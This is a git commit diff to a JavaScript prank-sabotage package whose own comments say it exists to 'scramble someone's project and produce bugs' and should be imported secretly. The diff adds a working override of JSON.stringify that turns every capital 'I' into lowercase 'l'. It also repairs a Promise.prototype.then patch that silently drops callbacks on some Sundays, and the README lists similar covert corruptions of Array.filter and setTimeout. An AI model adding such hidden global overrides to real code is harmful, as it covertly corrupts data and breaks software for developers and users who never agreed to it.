This commit is contained in:
wheatup 2021-04-09 16:21:51 +09:00
parent 4bd4649337
commit 883f5a7f19
2 changed files with 14 additions and 4 deletions

View File

@ -11,6 +11,7 @@
* `Array.filter` 的结果有2%的概率丢失最后一个元素。
* `setTimeout` 总是会比预期时间慢0.25秒才触发。
* `Promise.then` 在周日时有10%不会注册
* `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L)
* ...
**声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。**

View File

@ -6,7 +6,7 @@
* @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
* Remember import this package secretly.
* The author of this package does not participate any of injections!
* @disclaimer_zh 本包用于给项目不定期制造BUG用请私密地引入本包本包的作者不参与传播注入
* @disclaimer_zh 声明本包的作者不参与注入因引入本包造成的损失本包作者概不负责
*/
(() => {
@ -61,14 +61,23 @@
/**
* Promise.then has a 10% chance will not register on Sundays
* @zh Promise.then 在周日时有10%不会注册
* @zh Promise.then 在周日时有10%几率不会注册
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function(fn, ...args) {
Promise.prototype.then = function(...args) {
if(new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(fn, ...args);
_then.call(this, ...args);
}
}
/**
* JSON.stringify will replace 'I' into 'l'
* @zh JSON.stringify 会把'I'变成'l'
*/
const _stringify = JSON.stringify;
JSON.stringify = function(...args) {
return _stringify(...args).replace(/I/g, 'l');
}
})();